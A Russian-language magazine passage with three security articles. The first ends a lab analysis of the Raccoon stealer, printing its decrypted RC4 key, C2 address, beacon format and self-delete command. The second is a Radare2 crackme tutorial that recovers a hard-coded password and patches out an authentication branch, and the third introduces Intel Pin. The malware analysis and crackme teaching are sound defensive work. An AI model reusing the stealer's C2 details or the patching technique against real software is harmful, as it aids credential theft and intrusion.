выполнение с  его точки входа. Загрузим полученный файл в  Hex-редактор,
скопируем данные, начиная с сигнатуры , и приступим к его анализу.MZ

Содержимое основной нагрузки

На этом этапе мы с тобой распаковали основную нагрузку, которая представ‐
ляет собой исполняемый файл. Работа загрузчика разделена на  несколько
этапов: сначала расшифровывается исполняемый код, основная задача
которого  — расшифровать и  распаковать шелл‑код следующего этапа.
Шелл‑код следующего этапа загружает в  память исполняемый файл и  про‐
должает выполнение с его точки входа.

Схема работы загрузчика

Продолжение статьи
→

https://cyberdefenders.org/blueteam-ctf-challenges/unpackme/
https://xakep.ru/2021/11/02/malware-virtual-lab/
https://github.com/horsicq/Detect-It-Easy
https://www.winitor.com/
https://hex-rays.com/
https://www.wireshark.org/
https://portswigger.net/burp
https://github.com/x64dbg/x64dbg
https://www.inetsim.org/downloads.html
https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-globalalloc
https://learn.microsoft.com/ru-ru/windows/win32/Memory/memory-protection-constants
https://learn.microsoft.com/ru-ru/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress


УРОКИ ФОРЕНЗИКИ
ИЗУЧАЕМ ПОВЕДЕНИЕ СТИЛЕРА

ПРИ ПОМОЩИ INETSIM И IDA PRO

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ИССЛЕДУЕМ ОСНОВНУЮ НАГРУЗКУ

Получим информацию об исполняемом файле, для этого загрузим его в ути‐
литу DIE.

Информация об основной нагрузке

Основная нагрузка разработана на C/C++, скомпилирована в Microsoft Visual
Studio и собрана для 32-разрядных систем. Загрузим файл в IDA и приступим
к статическому анализу. Код вредоноса сильно обфусцирован, и граф потока
выполнения очень большой.

Поток выполнения функции main

Все строки, используемые в  процессе работы модуля, зашифрованы
при помощи XOR с однобайтовым ключом. Давай набросаем скрипт для IDA,
который будет расшифровывать строки.

 def decrypt_str(data):
     result = ''
       key = data & 0xff
       data = data >> 8
      while data > 0:

             result += chr(~((data & 0xff) ^ key)&0xff)
           data = data >> 8

    return result

На первом этапе модуль проверяет, запущен ли в  системе экземпляр,
с помощью функции .OpenMutexA

Функция проверки мьютекса

В командной строке Python запустим функцию расшифровки названия
мьютекса:

decrypt_str(0xBABCABAFACA4B832)

Имя мьютекса формируется из  константного значения , сложен‐

ного с  именем пользователя. Если мьютекс с  таким названием существует,
модуль прекращает свою работу.

uiabfqwfu

Далее модуль с помощью функции  узнаёт, какие в системе
установлены языки. Если присутствует язык из определенного списка (в него
входит русский), то модуль прекращает работу.

GetLocaleInfoA

Сравнение установленного языкового стандарта

Следом начинается процесс взаимодействия с  управляющим сервером.
Адрес C2-сервера зашифрован алгоритмом RC4 и закодирован в Base64.

Зашифрованное значение RC4-ключа

Расшифруем ключ, который хранится в переменной .RC4_KEY

decrypt_str(0x9498D7AB8CAEB2808B9A8E9DDCB4CA11)


Ключ шифрования —  для алгоритма RC4.$Z2s'ten\@bE9vzR
Расшифруем адрес управляющего сервера, для этого воспользуемся ути‐

литой .CyberChef

Расшифрование управляющего сервера

Мы получили адрес управляющего сервера:

https://tttttt.me/ch0koalpengold


Взаимодействие с управляющим сервером
При обращении к  управляющему серверу 

 исследуемый образец получает адрес основного сервера

C2. Адрес расположен в блоке , содержащем следующие атрибуты.

https://tttttt.me/
ch0koalpengold

div

Значение атрибута

Основной адрес управляющего сервера зашифрован алгоритмом RC4. Ключ:

6af7fae138b9752d1d76736dcb534c9d


Шифрование основного адреса управляющего сервера

При обращении к  основному адресу управляющего сервера исследуемый
образец получает конфиг, зашифрованный алгоритмом RC4  с  ключом

.$Z2s'ten\@bE9vzR
Приступим к  настройке INetSim. Открываем файл  вот

по такому пути:
sample.html

/var/lib/inetsim/http/fakefiles/sample.html


И добавляем блок  с  перечисленными выше атрибутами. Значение

 зашифровано алгоритмом RC4 с клю‐

чом . В  зашифрованную строку добав‐
лены символы, которые удаляются в процессе расшифровки.

div
gzWH3jR7snsUFO5aZbvXyda3vfp8cjiu

6af7fae138b9752d1d76736dcb534c9d

Содержимое файла sample.html

В каталоге  создадим файл 

, содержащий зашифрованные настройки.

/var/lib/inetsim/http/fakefiles config.
json

Зашифрованные настройки

{
   "_id":"123",
   "au":"files/",
   "ip":"10.10.10.1",
   "location":{"country":"qwe","country_code":"qwe","state":null,
"state_code":null,"city":null,"zip":null},
   "c":{"m":null,"lu":null},
   "lu":null,
   "rm":1,
   "is_screen_enabled":1,
   "is_history_enabled":0,
   "depth":3
}

Этот конфиг получен в  результате статического анализа кода и  нужен
для  работы образца. Параметр  содержит URL для  загрузки библиотеки

, параметры  и    — информацию о  сетевом адресе

зараженной машины, параметр  необходим для  получе‐
ния снимка рабочего стола, а параметр  нужен на случай, если потребуется

удалить себя после окончания сбора информации.

au
sqlite3.dll ip location

is_screen_enabled
rm

Также в  каталог  загрузим файл
.

/var/lib/inetsim/http/fakefiles
sqlite3.dll

В файле  в  блоке 

добавим статичные URL.

/etc/inetsim/inetsim.conf https_static_fakefile

Конфигурация INetSim

Каждый раз, когда малварь обращается к  адресам с  подстрокой ,

загружается файл  (конфигурация модуля), а  при открытии 

 — библиотека sqlite3.dll.

/config/
config.json /

config/files/
Перезапустим утилиту INetSim.

sudo inetsim


Приступим к динамическому анализу исследуемого образца. При динамичес‐
кой отладке не забывай обходить проверку языкового стандарта, если в тво‐
ей виртуалке установлен русский язык.

Получив основной адрес управляющего сервера, вредоносный файл
начинает устанавливать свое первое соединение.

Первичное соединение с управляющим сервером

Значения в POST-запросе сформированы следующим образом:

b=<MachineGuid>_<User>&c=c021300d0074689fde86c87568e215c582272721&
f=json


Параметр  описывает идентификатор зараженной машины, который фор‐
мируется из  имени пользователя системы и  значения  ключа

реестра:

b
MachineGuid

HKLM:\SOFTWARE\Microsoft\Cryptography\MachineGuid


В параметре  указано константное значение. Сформированная строка шиф‐

руется по  алгоритму RC4  с  ключом . В  ответ от  сервера
управления приходит конфигурация модуля.

c
$Z2s'ten\@bE9vzR

Для работы функции сбора данных из  браузеров вредоносу необходима
динамическая библиотека . Параметр  в  конфиге указывает

на URL, по которому малварь может получить эту библиотеку.

sqlite3.dll au

Загрузка sqlite3.dll

Сбор информации о системе
Рабочий каталог вредоносного файла:

C:\User\<User>\AppData\LocalLow


В этот каталог загружаются дополнительные модули, а также собранные фай‐
лы из системы.

Функция сбора находится по  смещению  (в моем случае функция
), для  перехода к  коду необходимо на  вкладке Function ввести

значение смещения. На этапе сбора данных о системе исследуемый образец
формирует файл  в рабочей директории.

454A
sub_56454A

System Info.txt

Содержимое файла System Info.txt

Содержимое файла :System Info.txt
Строка  описывает версию вредоносного файла,
это значение зашифровано алгоритмом шифрования строк.

• Raccoon | 1.7.3

 установлена в виде константы и указывает на дату
компиляции файла.

• Build compile date

 содержит дату и время запуска.• Launched at

В блоке  собрана информация об  имени хоста,
временной зоне, установленном в  системе языке, процессоре, объеме
оперативной памяти и дисплеях.

• System Information

В блоке  собрана информация об  установленных при‐
ложениях, данный список получен из  ключа реестра 

.

• Installed Apps

SOFTWARE\

Microsoft\Windows\CurrentVersion\Uninstall

Если в  конфиге, полученном с  управляющего сервера, есть значение
, делается снимок рабочего стола пользователя. Фун‐

кция создания скриншота расположена по смещению .

is_screen_enabled:1
951B

Функция создания снимка рабочего стола пользователя

После захвата экрана растровое изображение сохраняется в рабочую дирек‐
торию с именем .screen.jpeg

После сбора всей информации с  хоста в  рабочей директории создается
ZIP-архив. Имя файла берется из параметра  в конфиге, полученном с C2._id

Отправка собранных данных

Содержимое архива данных

Если значение параметра   — «истина», то вредоносный файл начинает

процесс самоудаления. Функция удаления расположена по смещению .

rm
5D47

Функция самоудаления

В переменной  формируется команда для  удаления следов присутствия

малвари в системе. Давай расшифруем значение.

cmd

decrypt_
str(0x8FD1DE98D1DE929BBADED8DE928BB0DEC0DEB5BFBBACBCB1B0D1DECECFDEAAD
1DE8A8B919B93978ADEBDD1DE9B869BD09A939D01)


Вот что получилось:

cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q


Также при  первичном анализе исполняемого файла я нашел полный путь
к каталогу сборки на компьютере злоумышленника:

A:\_Work\rc-build-v1-exe\


ВЫВОДЫ

Эта лаборатория помогла нам научиться эмулировать работу управляющего
сервера с  помощью утилиты INetSim. Мы разобрали механизм работы сти‐
лера, задачей которого была кража криптокошельков, файлов cookie,
паролей от  браузеров и  почтовых серверов и  многого другого. Мы изучили
работу загрузчика и распаковали основную нагрузку, а также написали скрип‐
ты для  IDA и  потренировались в  проведении статического и  динамического
анализа вредоносных файлов.

https://learn.microsoft.com/ru-ru/windows/win32/api/synchapi/nf-synchapi-openmutexw
https://learn.microsoft.com/ru-ru/windows/win32/api/winnls/nf-winnls-getlocaleinfoa
https://gchq.github.io/CyberChef/


Юрий "yurembo" Язев
Программист, разработчик

видеоигр, независимый
исследователь

t2d-dev.ru

ВЗЛОМ

Сегодня я покажу тебе несколько приемов
обращения с  Radare2  — мощным фрей‐
мворком для  обратной разработки. Мы
выведаем скрытый в  программе пароль,
для  чего научимся извлекать из  исполня‐
емых файлов структурированную информа‐
цию и  конвертировать получаемые зна‐
чения. Затем изменим исполняемый файл
и  выполним недоступную при  корректном
поведении функцию.

Упражняться мы будем на  crackme, которую я написал специально
для демонстрации. Скачать файл ты можешь с  . Все действия мы
будем проводить в Debian Linux.

моего GitHub

В статье «
» мы уже начали исследовать этот

исполняемый файл. При  запуске он открывает сокет и  начинает слушать
порт 14884. Если подключиться к этому сокету при помощи netcat, то можно
увидеть приглашение для ввода имени пользователя или пароля. Если ввести
неверный пароль, сеанс завершится.

Radare2  с  самого начала. Учимся использовать опенсорсный
фреймворк для анализа приложений в Linux

Используя основные возможности Radare2, мы выявили в программе фун‐
кции , , , , 

и несколько других. В   есть пять локальных переменных, а так‐

же вызов функции с говорящим названием , которой в качес‐
тве единственного аргумента передается значение переменной .

main authenticate check_username check_password start_server
authenticate

check_username
fd

Это краеугольная функция в  защитном механизме, поскольку из  нее
вызываются некоторые другие весьма важные и  не всегда относящиеся
к процедуре логина функции. На очереди — извлечение пароля. Но даже ког‐
да мы раскусим защитный механизм, у  нас будет возможность копать этот
крякмис в  глубину. Мы изменим его код, чтобы выполнение программы шло
по той ветви, результаты выполнения которой нам нужны.

РАСПОЗНАНИЕ ИМЕНИ ПОЛЬЗОВАТЕЛЯ

Дизассемблированная функция check_username

В функции  дескриптор сокета, переданный в  аргументе,

помещается в переменную . Далее с помощью библиотечной функции
 готовится буфер памяти:  заполняется нулями, затем в  него

с  помощью функции  читается пользовательский ввод из  сокета,

на который указывает . То есть читается как бы с удаленного устрой‐
ства.

check_username
fildes

memset src
read

fildes

Дальше в консоль на стороне сервера функция  выводит строку 

, потом в  нее же с  помощью  выливается содер‐
жимое буфера , содержащего введенное имя пользователя. Далее воз‐

вращенный функцией  результат сравнивается с  . Если равенство

верно, выводится сообщение об  ошибке, если же возвращенное значение
не  равно  (ноль или  положительное значение), то выполняется переход

на строку . Здесь происходит вывод символа конца строки — .

printf [+]
Reading username fputs

src
fputs -1

-1
0x1605 \n

После этого готовятся параметры для  вызова библиотечной функции
. Она копирует имя пользователя  в новую область памяти — .

Далее в  строке со  смещением  в  переменную  копируется

значение . В  комментарии рядом Radare2  оставил метку, зак‐

люченную в одинарные кавычки, — :

strcpy src dest
0x1628 var_420h

0x6262616a
jabb

mov dword [var_420h], 0x6262616a ; 'jabb'


По мнению Radare2, это шестнадцатеричное число — набор букв в кодировке
UTF-8, используемой в  большинстве дистрибутивов Linux. Доверяй, но  про‐
веряй! В  командную строку под  дизассемблированным листингом функции
введи

? 0x6262616a


Ниже появится список, в котором указанное значение будет конвертировано
в разные типы данных.

Приведение числа 0x6262616a к разным типам данных

Нас интересует тип . Напротив него мы видим строку , что и тре‐
бовалось доказать.

string jabb

Неверно введенное имя пользователя

Вернемся в функцию . Строкой ниже ( ) мы видим, что

в  переменную  помещается символ , пока непонятно для  чего.
Снова промотаем листинг к началу функции, где расположены комментарии
о переменных:

check_username 0x1632
var_21ch a

...

; var int64_t var_41ch @ rbp-0x41c

; var int64_t var_420h @ rbp-0x420

...


Нас интересуют эти две переменные. Теперь посмотрим на код присвоения
им значений:

 mov dword [var_420h], 0x6262616a ; 'jabb'
 mov word [var_41ch], 0x61   ; 'a'

Истина где‑то рядом. В UTF-8 символ может занимать от одного до четырех
байтов, однако латинские символы, которые мы видим в  листинге, никогда
не  превышают одного байта. Таким образом, значение   —

это  четыре байта, что подтверждает размер приемника  — двойное слово,
dword.

0x6262616a

Также вспомним, что в  стеке переменные кладутся от  старших адресов
к младшим (стек растет сверху вниз). Поэтому, чтобы найти размер перемен‐
ной , надо из адреса ее расположения вычесть адрес расположения

следующей переменной:

var_420h

0x420 – 0x41C = 4 байта


Это размер переменной , что требовалось подтвердить. Перемен‐

ные располагаются впритык друг к  другу. Скорее всего, в  исходном коде
на  языке высокого уровня дополнительной переменной не  существует. Ее
для удобства нарисовал Radare2 во время дизассемблирования, потому что
для копирования точно пяти байтов способа не существует. Отсюда следует,
что в переменной  находится строка .

var_420h

var_420h jabba

Есть контакт: логин верен, осталось выудить пароль

Посмотрим, что творится в функции дальше, начиная со строки со смещени‐
ем . Здесь готовятся параметры  — очевидно, для  передачи в  фун‐
кцию: берутся указатели на  переменные  и  . Помнишь, что

находится в  последней? Правильно, копия значения, которое раньше ввел
пользователь. И эти две строки передаются в функцию .

0x163b
var_420h dest

compare_username

Дизассемблированная функция compare_username

Эта функция совсем короткая, мы ее разберем в два счета! Аргументы‑стро‐
ки перекладываются в  переменные: введенная пользователем строка  —
в  ,   — в  . При  этом для  переменных сразу выделяется память

с запасом: по восемь байтов, qword.

src jabba s2

Далее в  консоль на  стороне сервера выводится строка «[–] Comparing
username». Затем строка  копируется в  область памяти . Этот трюк

нужен для  снятия со  строки модификатора . То есть на  новую копию

строки он не влияет.

src dest
const

После этого строки подготавливаются для передачи в библиотечную фун‐
кцию , которая, как известно, служит для сравнения строк. Она возвра‐

щает 0, когда переданные строки одинаковы, 1, когда первая строка больше
второй, и -1, когда вторая больше первой. Размерность строк в данном слу‐
чае зависит от кодов первых отличающихся символов.

strcmp

После возврата из функции  с помощью инструкции  проверя‐

ется значение в  регистре EAX, в  котором возвратился результат. Если
это значение не равно нулю, то есть строки не равны, выполняется переход
на команду, где регистру EAX (в нем будет возвращен результат вызвавшей
функции) присваивается  0. Когда строки равны (в EAX ноль), после 
в регистр EAX помещается единица.

strcmp test

test

Когда в EAX будет ноль или единица, выполнение программы возвращает‐
ся в  функцию . И  выполнение продолжается со  строки

, где нас поджидает . Здесь все наоборот: если  0  —

строки неравны, на серверной консоли выводится ; если  1,

то строки равны, выводится .

check_username
0x1654 test eax, eax

[+] Wrong user
[+] Username is correct

После вывода сообщения о том, что юзернейм корректный, в регистр EAX
записывается единица для  возврата и  выполняется безусловный переход
в конец функции, на инструкции  и  .leave ret

Если юзернейм неверный, после вывода строки «Wrong user» с помощью
инструкции  программа сравнивает значение переменной  и ноль.

Они никогда не будут равны! Ведь переменная  всегда содержит дес‐

криптор сокета. Если же она содержит ноль, значит, где‑то раньше произош‐
ла ошибка и досюда дело не дойдет.

CMP fildes
fildes

Таким образом, следующее условие ( ) всегда выполняется,

регистру EAX присваивается ноль, и происходит выход из функции, при этом
во время выполнения программы никогда не будет вызвана функция .

В нее передаются  — введенная пользователем строка и   — дес‐

криптор сокета. Код противоречит сам себе: если выполнение программы
каким‑то образом дойдет досюда, дескриптор сокета будет нулевой!

jne 0x169d

secret
dest fildes

Ладно, оставим функцию  на десерт, сейчас продолжим занимать‐

ся главным блюдом.

secret

Комментируем листинг дизассемблера
Если тебе приходилось работать с  IDA Pro, то наверняка при  изучении лис‐
тингов ты оставлял в  них комментарии, чтобы потом быстро вспомнить, что
происходит в коде. В Radare2 тоже можно создавать комментарии. Для этого
используется команда  с таким синтаксисом:CC

CC [комментарий] [@смещение/адрес]


Еще раз обратимся к  , чтобы оставить в ней след — наш ком‐
ментарий.

check_username

Оставим комментарий в подчеркнутой строке

В командной строке Radare2 введи команду

CC full username: jabba @0x163b


После этого запроси дизассемблерный листинг функции еще раз:

pdf @ sym.check_username


Ты увидишь изменения.

Комментарий

Мы наконец можем покинуть функцию  и  вернуться

в  . На  этом месте можешь сделать перерыв: принять душ,
погулять с собакой, попить газировку из Черноголовки и, главное, дать моз‐
гам отдых. В нашем деле это очень важно.

check_username
authenticate

РАСПОЗНАВАНИЕ ПАРОЛЯ

Надеюсь, ты хорошо отдохнул и готов с нами выгрызать пароль. Напомню, мы
сейчас находимся в  функции , сразу после вызова

, в строке со смещением . Здесь с помощью инструк‐

ции  проверяется возвращенное значение.

authenticate
check_username 0x181f

test
Если в  регистре EAX находится ноль (что бывает, когда имя введено

неверно), выполняется переход в  конец функции, соответственно,
 в этом случае тоже возвращает ноль. Если же в регистре EAX

единица, то с  помощью инструкции  выполняется условный переход
на  строку . В  консоли на  стороне клиента выводится строка

«Password:», затем вызывается функция , ей передается дес‐

криптор сокета.

authenticate
jne

0x182a
check_password

Дизассемблированная функция check_password

Аргумент перекладывается в  переменную , а  прочие инструкции

из  этой функции похожи на  рассмотренные раньше аналоги: подготавлива‐
ется буфер памяти, в него читаются данные из сокета, а в серверную консоль
выводится .

fildes

[+] Reading password
Дальше происходит все самое интересное. В переменную  помещается

содержимое упомянутого буфера. А в переменную , судя по комментариям,
оставленным дизассемблером, с  двух заходов помещается строка

 (как мы знаем, Хан Соло и  Джабба Хатт в  конфликте).

Для удобства Radare2 создал дополнительную переменную — .

s1
s2

SoloIsMyB*tch
var_418h

Можно с  большой долей вероятности предположить, что это  и есть эта‐
лонный пароль. Нашли?! Не спеши вперед паровоза. Обращает на себя вни‐
мание способ записи данных в  переменную, а  именно использование инс‐
трукции , которая за  один присест целиком копирует  64-битное зна‐
чение в регистр без вспомогательных средств наподобие служебного слова

.

movabs

qword
Стоит проверить, что же скрывается под  числовыми константами. Введи

в командную строку следующее:

? 0x794d73496f6c6f53

...

? 0x6863742a42794d


Вывод возможных значений переменных

Проверяем найденную комбинацию
Пришло время вновь запустить  и  подключиться к  пор‐

ту 14884 с помощью netcat.

server64.elf

Введен верный пароль — защита пала

После ввода верного пароля функция  возвращает в  главную

функцию ( ) единицу, в  результате чего происходит вызов функции

, которая вываливает в  консоль на  стороне клиента содер‐
жимое файла . Напротив, если  возвращает ноль,

выполнение программы переходит на  строчку , где вызывается фун‐

кция . Которая, как  мы знаем, сообщает: «Дроиды не  те, что ты
ищешь».

authenticate
main

send_pw_list
passwords authenticate

0x1a6d
reject

В итоге защита взломана, пароль найден — отлично!

Продолжение статьи
→

http://www.t2d-dev.ru/
https://github.com/yurembo/HackThisServer
https://xakep.ru/2024/07/30/radare2-for-beginners/


RADARE2
ВСКРЫВАЕМ И ИЗМЕНЯЕМ

ИСПОЛНЯЕМЫЕ ФАЙЛЫ ПРИ
ПОМОЩИ ОПЕНСОРСНОГО

ФРЕЙМВОРКА

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ДИНАМИЧЕСКИЙ АНАЛИЗ

Между тем за нами остался должок — неразгрызенная функция . В нее

еще надо как‑то попасть, то есть запустить выполнение. Заодно поупражня‐
емся в динамическом анализе с помощью Radare2.

secret

Чтобы запустить наш сервер под надзором отладчика R2, нужно восполь‐
зоваться ключом :-d

r2 -d server64.elf


Когда R2  запускает программу в  отладчике, первая остановка происходит
не на точке входа, функции  или  каких‑то других библиотеках. Поэтому,
чтобы оказаться в  функции , надо выполнить команду   — то

есть debug continue until main (функцию можно указать любую).

main
main dcu main

Теперь ход выполнения программы остановится в  начале функции .
Дебажить программу с помощью командной строки негуманно по отношению
к самому себе. Radare2 предлагает вполне сносный визуальный режим прямо
в консоли. Чтобы его открыть, набери .

main

Vpp

Radare2 в визуальном режиме

Смещение той строки в дизассемблере, на которой остановился ход выпол‐
нения программы, выделено зеленым цветом. На самом деле, чтобы открыть
визуальный режим, достаточно команды V, две буквы P после нее позволяют
сразу при  входе в  этот режим настроить содержание консоли. В  противном
же случае тебе бы пришлось нажимать P после входа в режим.

Попробуй попереключать содержимое консоли нажатием P, возможно, ты
найдешь другой вариант более удобным. Мне же в текущем варианте нравит‐
ся то, что отображается содержимое регистров процессора.

Нажатие клавиши F7  позволяет сделать шаг вперед на  следующую инс‐
трукцию с заходом в функцию, если такая будет встречена. F8 же делает шаг
вперед, игнорируя встретившуюся функцию. Если вдруг нужно поставить точ‐
ку останова на  строку, где установлен курсор, достаточно нажать F2. Чтобы
получить доступ к  командной строке, надо набрать двоеточие. А  чтобы
покинуть визуальный режим, достаточно нажать Q.

Наигравшись с перемещением со строки на строку, установим точку оста‐
нова на вызов функции :authenticate

db sym.authenticate


Продолжим выполнение вводом команды . После нажатия Enter курсор
перейдет на новую строку, но ничего нового мы не увидим. Ну конечно, прог‐
рамма застряла на брейк‑пойнте. Из другой консоли подключись к серверу,
набрав . Покажется приветственный экран, но приложе‐

ние остановится до приглашения ввести имя пользователя.

dc

nc localhost 14884

При этом в  первой консоли, где выполняется отладка сервера, содер‐
жимое обновится и  будет выведена информация о  достижении точки оста‐
нова. Обрати внимание: первая строка функции помечена буквой , что
говорит нам об  установленном брейк‑пойнте. Затем в  этой же консоли мы
вновь откроем визуальный режим, нажав V.

b

Здесь мы тоже можем баловаться перебором строк, однако наша целевая
функция — . Поставим на ее начало точку останова:check_username

db sym.check_username


И продолжим прогон программы — . Вновь Radare2 сообщит о достижении

точки останова.

dc

Откроем визуальное отображение. Далее с чувством, с толком, с расста‐
новкой, шаг за шагом, достигнем инструкции .cmp dword [rbp – 0x424], 0

Между тем, когда мы дойдем до  инструкции , прод‐

вигаться дальше будет невозможно до  тех пор, пока во  второй консоли мы
не введем . После того как произойдет проверка 

, неумолимо случится переход , что не поз‐

волит программе исполнить функцию .

call sym.imp.read

username cmp dword [rbp 
– 0x424], 0 jne 0x562b2a12e69d

secret

Неумолимый переход

Можно провести такой прогон еще  бесконечное количество раз, однако
результат будет тем же. Для решения проблемы нам надо этот переход изме‐
нить или вообще обнулить.

ЛОМАЕМ СЕРВЕР И МЕНЯЕМ ЕГО ПОВЕДЕНИЕ

На этот раз откроем сервер с возможностью модификации двоичного файла.
Для  этого запустим Radare2  с  флагом . Не  забудь сделать копию файла

на всякий случай, если операция выйдет из‑под контроля!

-w

r2 –w server64.elf


Привычным движением руки запустим анализ: . Перейдем в  функцию
:

aaa
check_username

s sym.check_username


Отобразим дизассемблерный код этой функции, набрав . Теперь надо

перейти к инструкции, которую мы собираемся заломить, то есть к условному
переходу: . Смещение в начале строки изменится.

pdf

s 0x1684
Для наглядности можно вывести только конкретные строки, с  которыми

идет работа. Можно добавить или убрать 2–4 строки (указывается в парамет‐
рах команды):  ($$ — индикатор текущей строки).pd 4@$$

На следующем шаге будем резать по  живому, избавимся от  перехода,
заменив текущую инструкцию нопами. Для этого в R2 есть команда 

(чтобы узнать о ней больше, загляни в справку, оно того стоит).

wao nop

Вновь отобрази четыре текущие строки или функцию целиком, чтобы уви‐
деть изменения.

Замененная инструкция

Наверняка ты обратил внимание, что в оригинале была одна строка, а после
модификации стало две. Это произошло по той причине, что инструкция 

занимает в памяти один байт, тогда как условный переход  вместе с адре‐

сом  — два байта. Следовательно, чтобы сохранить баланс в  изменяемой
программе, вместо перехода с  адресом Radare2  вставил два нопа. Теперь
можешь прогнать взломанный сервак в отладчике (как мы это делали в пре‐
дыдущем разделе) и убедиться, что дело доходит до функции .

nop
jne

secret

Выполнение функции secret

СЛИВАЕМ ФОТО

Настало время открыть функцию  в  дизассемблере и  узнать, что она

делает:

secret

r2 server64-hacked.elf

aaa

s sym.secret

pdf


Дизассемблерный листинг функции secret

В начале функции нет ничего необычного, полученные аргументы раскла‐
дываются по  переменным: введенная юзером строка (первый аргумент)
помещается в  переменную , дескриптор сокета (второй аргумент)  — в  .

На  серверной стороне выводится строка, сигнализирующая о  вызове фун‐
кции .

s fd

secret
Затем библиотечная функция  измеряет длину пользовательской

строки, и, если она не равна пяти, ход выполнения программы перемещается
в конец функции — на выход. Иначе выполнение продолжается. Происходит
посимвольное сравнение с последовательностью символов , что мож‐

но заметить в комментариях Radare2.

strlen

WtfR2

Далее в  серверную консоль выводится строка 

. Потом готовятся параметры для вызова функции: считывается
значение глобальной переменной  (представляющее размер

изображения), копируется дескриптор сокета. Мы прекрасно помним, что он
был передан в  функцию в  качестве аргумента, последним параметром (на
самом деле первым) передается указатель на массив байтов, составляющих
изображение, — .

[+] Code correct, 
sending data

plan_jpg_len

plan_jpg
После этого выполняется безусловный переход в  конец функции. Ниже

последний символ строки  проверяется на  равенство восьми. Ага! То есть

программа предполагает одну из двух строк:  и  .

s
WtfR2 WtfR8

Выше мы рассмотрели первый вариант и вывод в клиентскую консоль мас‐
сива байтов , сейчас мы рассматриваем второй вариант. В нем дей‐

ствия похожи, только в качестве размера передаваемых данных берется зна‐
чение глобальной переменной , а  роль передаваемых
данных играет массив байтов .

plan_jpg

portfolio_jpg_len
portfolio_jpg

На этом дизассемблерный код сервера полностью рассмотрен, пора дви‐
гаться дальше.

Получаем фото
Откроем две консоли: в  одной запустим сервер, во  второй подключимся
к  серверу и  введем одно из  двух специальных имен, к  примеру ,

в результате получим вывод, приведенный на скриншоте ниже.

WtfR2

Получение потока байтов и вывод его в консоль

Этот поток байтов надо записать в файл. С клиентской стороны введи

echo WtfR2 | nc localhost 14884 > Изображения/picR2.jpg


Посмотрим, что, по мнению операционной системы, этот файл собой пред‐
ставляет:

file Изображения /picR2.jpg


На выходе получим . Многозначительно! Данные ведь могут быть любого
типа. Выходит, Radare2  не  определил, что это  за файл. Что же мы можем
предпринять? Вырезать из файла ненужную часть! Открой файл в текстовом
редакторе:

data

nano Изображения/picR2.jpg


Открытый в nano файл

И удали в нем всю верхнюю часть, включая слово  и двоеточие пос‐

ле него. В итоге должно получиться так, как на скриншоте.

Username

Удаление части файла

Сохраняй файл и закрывай редактор. Посмотрим теперь, как ОС определяет
файл:

file Изображения/picR2.jpg


Если на предыдущем шаге все сделано правильно, утилита выведет в консоль
следующее описание файла:

Изображения/picR2.jpg: JPEG image data, JFIF standard 1.01, aspect 
ratio, density 1x1, segment length 16, Exif Standard: [TIFF image 
data, little-endian, direntries=1, datetime=2008:09:27 09:19:53], 
progressive, precision 8, 564x690, components 1


Последний тест, который следует провести, — это открыть файл в просмот‐
рщике изображений:

gwenview Изображения/picR2.jpg


Результат приводить не  буду, чтобы тебе было любопытнее повторить все
описанное самому.

Также в  качестве упражнения можешь скачать с  сервера второй файл  —
с именем .WtfR8

Обрати внимание: для  редактирования этого файла надо использовать
vim. А ты думал, мы просто так устанавливали его в первой статье? Если сно‐
ва забыл, как им пользоваться, после удаления ненужной части файла набери
двоеточие, команду  и нажми Enter.wq

Редактирование двоичного файла в vim

ВЫВОДЫ

Можем ли мы считать нашу миссию завершенной? Теперь определенно!
По ходу упражнения с дизассемблером нам удалось не только благополучно
получить доступ к аккаунту Джаббы Хатта, но и утащить с сервера секретные
материалы.

Но главной нашей задачей на  протяжении обеих статей было научиться
использовать Radare2 для анализа программ в Linux.

Конечно, функциями, которые я здесь показал, возможности
Radare2  не  ограничиваются. Мы рассмотрели лишь малую часть верхушки
айсберга. Думаю, мы еще  уделим внимание тонкостям работы с  Radare2,
поэтому, если тема тебе интересна, пиши об этом комментарии.



mr.grogrig
mr.grogrig@gmail.com

ВЗЛОМ

Pin — это утилита для динамической бинар‐
ной инструментации (DBI). Она на  лету
перекомпилирует байт‑код в  момент
исполнения и  как  бы держит программу
в прозрачной виртуальной машине, работа‐
ющей после первоначальной загрузки
с  минимальными потерями скорости. Pin
позволяет заглянуть внутрь работающего
кода или изменить его поведение. Сегодня
мы познакомимся с  возможностями этого
фреймворка.

Итак, Intel Pin позволяет создавать инструменты для анализа кода, собранно‐
го под x86. Динамический подход помогает с легкостью анализировать даже
самомодифицирующиеся шелл‑коды, что раньше требовало вдумчивой
пошаговой трассировки. Больше не нужно часами сидеть в отладчике, пыта‐
ясь найти OEP, — теперь распаковку нетрудно автоматизировать.

Бинарная инструментация подразумевает вставку кода в скомпилирован‐
ную программу. В  отличие от  статической, похожей на  заражение файла
через установку jmp-трамплинов, динамическая инструментация не  меняет
код на  диске, а  инжектирует правки в  момент исполнения. Pin работает
как JIT-компилятор. Исходный код перекомпилируется в такие же ассемблер‐
ные инструкции, но  с произвольными вставками. И  помещается в  кеш, где
будет исполняться, пока не  дойдет до  следующего участка, который надо
перекомпилировать. Это замедляет загрузку, но с точки зрения старого кода
делает вставленный код невидимым!

Возьмем для примера вот такую последовательность инструкций:

00401000    cmp ecx,A

00401003    jne 00401007

00401005    int 3

00401007    mov eax,0


Вот как должна выглядеть кешированная копия после инструментации:

01401000  call instrumentation

01401005  cmp ecx,A

01401008  call instrumentation

0140100D  jne 0140101B

0140100F  call instrumentation

01401014  int 3

01401016  call instrumentation

0140101B  mov eax,0


Но это  в теории: реальный кеш сильно оптимизирован и  содержит допол‐
нительные вставки из‑за ограниченного количества процессорных регистров,
которые могут быть заняты оригинальным кодом.

УСТАНОВКА PIN

Я использую Pin версии 3.30, но подозреваю, что API в будущем не изменит‐
ся. Первым делом качай  с  официального сайта. Страница
не пускает с некоторых IP, но прямые ссылки работают (вот версии 
и  ). Pin обычно ставят в каталог , чтобы избежать ошибок,

возникающих из‑за пробелов в названиях стандартных папок Windows.

дистрибутив
для Linux

для Windows C:\PIN

Инструменты, собранные для работы с Pin, называются PinTools. Их можно
рассматривать как  плагины, использующие API для  управления инструмен‐
тацией. Лицензия разрешает распространять их только в  виде исходников.
Поэтому сегодня будет много сборки.

